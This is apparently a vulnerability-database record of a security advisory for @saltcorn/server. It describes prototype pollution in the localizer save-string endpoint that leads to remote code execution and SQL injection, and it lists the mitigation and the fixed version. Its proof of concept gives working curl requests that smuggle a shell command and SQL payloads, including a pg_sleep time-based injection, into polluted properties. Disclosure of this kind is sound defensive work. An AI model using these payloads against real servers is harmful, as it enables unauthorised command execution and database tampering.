{"id":"GHSA-78p3-fwcq-62c2","aliases":[],"url":"https://o3.security/vulnerability/GHSA-78p3-fwcq-62c2","summary":"@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution  by manipulating `lang` and  `defstring` parameters when setting localizer strings","details":"### Summary\n\nThe endpoint `/site-structure/localizer/save-string/:lang/:defstring` accepts two parameter values: `lang` and `defstring`. These values are used in an unsafe way to set the keys and value of the `cfgStrings` object. It allows to add/modify properties of the `Object prototype` that result in several logic issues, including:\n- RCE vulnerabilities by polluting the `tempRootFolder` property \n- SQL injection vulnerabilities by polluting the `schema` property when using `PostgreSQL` database.\n\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/infoarch.js#L236-L239\n```js\nrouter.post(\n  \"/localizer/save-string/:lang/:defstring\",\n  isAdmin,\n  error_catcher(async (req, res) => {\n    const { lang, defstring } = req.params; // source\n\n    const cfgStrings = getState().getConfigCopy(\"localizer_strings\");\n    if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink\n    else cfgStrings[lang] = { [defstring]: text(req.body.value) };\n    await getState().setConfig(\"localizer_strings\", cfgStrings);\n    res.redirect(`/site-structure/localizer/edit/${lang}`);\n  })\n);\n```\n\n### PoC\n\nSetup:\n- set `SALTCORN_NWORKERS=1` before starting the `saltcorn` server (to easily observe the behavior of the PoC)\n```\nSALTCORN_NWORKERS=1 saltcorn serve\n```\n- make sure to use PostgresSQL backend\n- login with a user with admin permission\n\n#### RCE\n\nThis PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.\n- check that the file that will be created does not exists:\n```\ncat /tmp/RCE\ncat: /tmp/RCE: No such file or directory\n```\n\n- pollute the `Object.prototype` with a `tempRootFolder` value set to `;echo+\"rce\"|tee+/tmp/RCE;` by sending the following request *** :\n\n```bash\ncurl -i -X $'POST' \\\n    -H $'Host: localhost:3000' \\\n    -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \\\n    -H $'Origin: http://localhost:3000' \\\n    -H $'Connection: close' \\\n    -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \\\n    --data-binary $'_csrf=VALID_csrf_Value&value=;echo+\"rce\"|tee+/tmp/RCE;' \\\n    $'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'\n```\n\n visit `http://localhost:3000/plugins/new`\n- enter the following fields:\n\t- Name: `test`\n\t- Source: `git`\n\t- other fields blank\n  - click `Create`\n- you will get an error but the command `echo \"rce\" | tee /tmp/RCE` will be executed\n- to verify:\n```\ncat /tmp/RCE\nrce\n```\n\nThe RCE occurs because after the previous curl request, the `tempRootFolder` property is set to `;echo+\"rce\"|tee+/tmp/RCE;` that is later used to build the shell commands.\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L45-L58\n\n```js\nclass PluginInstaller {\n  constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]\n    [...]\n    this.tempRootFolder =\n      opts.tempRootFolder || envPaths(\"saltcorn\", { suffix: \"tmp\" }).temp; // [3]\n\t [...]\n    this.pckJsonPath = join(this.pluginDir, \"package.json\");\n    this.tempDir = join(this.tempRootFolder, \"temp_install\", ...tokens); // [4]\n    [...]\n  }\n  [...]\n}\n```\n\n#### SQL Injection\n\nThis PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).\n- visit `http://localhost:3000/table` to check the page returns some results (no errors)\n- pollute the `Object.prototype` with a schema value set to `\"` (just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :\n\n```\ncurl -i -X $'POST' \\\n    -H $'Host: localhost:3000' \\\n    -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \\\n    -H $'Origin: http://localhost:3000' \\\n    -H $'Connection: close' \\\n    -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \\\n    --data-binary $'_csrf=VALID_csrf_Value&value=\\\"' \\\n    $'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'\n```\n\n- visit again `http://localhost:3000/table` but this time an SQL error will appear:\n```\nsyntax error at or near \"\" order by lower(\"\"\n```\n\n\n**NOTE**: Another payload to use as `value` could be `pg_user\"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--`\n\nThe SQL injection occurs because after the previous curl request, the `schema` property is set to `\"`.\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/postgres/postgres.js#L101\n\n```js\nconst select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts\n  const { where, values } = mkWhere(whereObj);\n  const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema\n  const sql = `SELECT ${\n    selectopts.fields ? selectopts.fields.join(\", \") : `*`\n  } FROM \"${schema}\".\"${sqlsanitize(tbl)}\" ${where} ${mkSelectOptions( // [4] schema\n    selectopts,\n    values,\n    false\n  )}`;\n  sql_log(sql, values);\n  const tq = await (client || selectopts.client || pool).query(sql, values);\n\n  return tq.rows;\n};\n```\n\n*** Retrieve valid values for the `connect.sid` (`VALID_CONNECT_SID_COOKIE`) and `_csrf` values (`VALID_csrf_Value`) :\n- open the browser developer console and go to the `Network` tab\n- visit `http://localhost:3000/site-structure/localizer/add-lang`\n- add a language (`Name: test` , `Locale: test`) and click `Save`\n- under the `Network` tab, filter for `save-lang` and check the request parameters (`Headers` and `Payload`/`Request` tabs)\n- copy the values for `connect.sid` and `_csrf` and paste in the curl command above\n\n### Impact\n\nRemote code execution (RCE), Sql injection and business logic errors.\n\n### Recommended Mitigation\n\nCheck the values of `lang` and  `defstring` parameters against dangerous properties like `__proto__`, `constructor`, `prototype`.","published":"2024-10-03T19:50:59Z","modified":"2024-10-03T19:50:59Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@saltcorn/server","fixedVersion":"1.0.0-beta.14"}],"fix":{"url":"https://github.com/saltcorn/saltcorn/commit/9e066ae8ba317469053cc27e95dcdf5b6e60e12d","label":"saltcorn/saltcorn@9e066ae"},"references":[{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/security/advisories/GHSA-78p3-fwcq-62c2"},{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/commit/9e066ae8ba317469053cc27e95dcdf5b6e60e12d"},{"type":"PACKAGE","url":"https://github.com/saltcorn/saltcorn"},{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/infoarch.js#L236-L239"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2024-10-03T19:50:59Z"}}